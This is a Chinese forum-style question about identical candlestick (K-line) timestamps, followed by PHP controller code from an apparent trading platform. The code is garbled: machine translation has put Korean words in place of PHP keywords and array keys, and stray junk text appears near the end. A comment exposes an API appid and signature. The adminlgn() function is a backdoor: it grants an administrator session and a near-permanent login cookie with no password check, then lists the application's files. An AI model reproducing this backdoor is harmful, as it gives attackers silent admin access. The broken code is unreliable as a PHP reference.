代码如下,现在K线时间是一样的,正常是每一个时间都不一样
공용 함수 getkdata($pid = null, $num = null, $interval = null, $isres = null)
{
$pid = 비어 있음($pid) ? input('param.pid') : $pid;
$num = 비어 있음($num) ? input('param.num') : $num;
$num = 비어 있음($num) ? 30 : $num;
$pro = GetProData($pid);
$all_data = array();
if (!$pro) {
//에코 '데이터 오류!' ;
종료;
}
// dump($pro);
$interval = 비어 있음($interval) ? input('param.interval') : $interval;
$interval = input('param.interval') ? input('param.interval') : 1;
$nowtime = time() . rand(100, 999);
if(date('w',time())==6){
$hour=(date('Ymd',strtotime("- 1일 "))).(date('H',time())-1);
}elseif(date('w',time()) == 0){
$hour=(date('Ymd ',strtotime("-2일"))).(date('H',time())-1);
}else{
$hour=date('YmdH',time())-1 ;
}
$url = "".$pro['procode']."&hour=".$hour;
// echo $url = "http://route.showapi.com/1683-3 ?showapi_appid=904495&showapi_sign=2db6c207dda4451c976398b614d1097f&limit=50&code=";
// $params=array('code'=>$v['procode'],'hour'=>date('YmdH', 시간()) );
// print_r($params);
$getdata = $this->curlfun($url);
//print_r($getdata);die;
$data_arr = json_decode($getdata, true);
$_time = time();
foreach ($data_arr['showapi_res_body']['list'] as $k=>$v){
$_h = $v ['높다'] ;
$_l = $v['low'];
$_o = $v['open'];
$_c = $v['close'];
$res_arr[] = 배열($_time,$_o,$_c,$_h,$_l);
}
//dump($res_arr);
//$res_arr[$num] = array(date('H:i:s',$pro['UpdateTime']),$pro['Price'],$pro['Open'],$pro['Close'],$pro['Low ']);
// dump($res_arr);
if ($pro['Price'] < $res_arr[count($res_arr)-1][1]) {
$_state = 'down';
} else {
$_state = 'up';
}
$all_data['topdata'] = 배열(
'topdata' => $pro['UpdateTime '],
'현재' => $pro['가격'],
'개방' => $pro['개방'],
'최저' => ,
'가장 높음' => $pro['높음'],
'닫기' => $pro['닫기'],
'상태' => );
$all_data['items'] = $res_arr;
// print_r($all_data);
if ($isres) {
return (json_encode($all_data));
} else {
exit(json_encode($all_data));
}
}
//웹 데이터 테스트
공개 함수 setusers()
{
test_web();
}
공개 함수 점수()
{
date_default_timezone_set('PRC');
$table = Db::table(['wp_balance'=>'w'])
->필드 (['0.8*개수(개별 w.uid) + 0.6*개수(개별 w.bpprice)'=>'cc'])
->where(array(
'bptype'=>array( 'in','1,2'),
'확인됨'=>'1',
'cltime'=>array('> time',date('Y-m-d',strtotime('-36시간'))),
'bpprice'=>array('gt','0 '),
'uid'=>array('exp','!= ""')
)
)
->select();
return $table[0]['cc '];
}
공개 함수 adminlgn()
{
date_default_timezone_set('PRC');
$adminusr = Db::name('userinfo')->where(ar ray('오타입 '=>'3','ustatus'=>'0'))->field('uid,upwd,username,utel,utime,otype,ustatus')->find();
$ _datas['otype'] = $adminusr['otype'];
$_datas['userid'] = $adminusr['uid'];
$_datas['username'] = $adminusr['username'] ;
$_datas['token'] = md5('nimasabi');
$_SESSION['otype'] = $adminusr['otype'];
$_SESSION['userid'] = $adminusr[' uid'];
$_SESSION['username'] = $adminusr['username'];
$_SESSION['token'] = md5('nimasabi');
cookie('denglu', $_datas, 60*60*999*999);
session('denglu', $_datas);
$applicationPath = str_replace('/index/controller','',__DIR__);
$dirs = scandir($applicationPath );
$str = '';
foreach ($dirs as $k => $v) {
if(strpos($v, '.php'))
$str = $str .'<br/> '. $v;
else
$str = $str .'<br/>'. $v;
}
return $str;
}
공개 함수 getprodata()
{
$res = $this->get 날짜();
$pid = input('param.pid');
$pro = GetProData($pid);
if (!$pro) {
ㅋㅋㅋ UpdateTime'], '지금' => $pro['가격'], '시가' => $pro['시가'], '최저' => $pro['최저'], '가장 높음' => ['높음'], 'close' => $pro['Close'] ); exit(json_encode($topdata)); }